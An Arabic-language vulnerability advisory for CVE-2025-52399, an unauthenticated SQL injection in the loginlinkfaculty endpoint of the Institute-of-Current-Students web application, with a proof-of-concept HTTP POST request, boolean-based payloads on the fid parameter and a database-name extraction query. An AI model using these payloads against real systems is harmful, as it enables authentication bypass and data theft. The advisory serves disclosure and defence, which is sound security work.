CVE-2025-52399 - حقن SQL في Institute of Current Students

الملخص

نقطة النهاية loginlinkfaculty في تطبيق Institute-of-Current-Students معرضة لحقن SQL عبر المعامل fid في طلب POST. لا يتم تطهير المعامل بشكل صحيح قبل استخدامه في استعلام SQL، مما يسمح للمهاجمين عن بُعد بتنفيذ أوامر SQL عشوائية.

• نوع الثغرة: SQL Injection
• المكون المتأثر: /loginlinkfaculty (POST)
• المعامل المتأثر: fid
• المصادقة: غير مطلوبة
• التأثير: تجاوز المصادقة، استخراج البيانات
• تم الاختبار على: Localhost
• قاعدة البيانات: icsnew
• الإصدار: 1.0

إثبات المفهوم

طلب HTTP

POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+3*2*1=6+AND+000942=000942--&pass=example

نتيجة الحمولة

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → صحيح ❌ -1' OR 2*3=4 AND 000942=000942 -- → خاطئ

استخراج قاعدة البيانات

SELECT database(); -- يرجع 'icsnew'

المراجع

• CVE-2025-52399 (MITRE)
• التطبيق المعرض
• OWASP SQL Injection

المكتشف

Isroil Mustafoqulov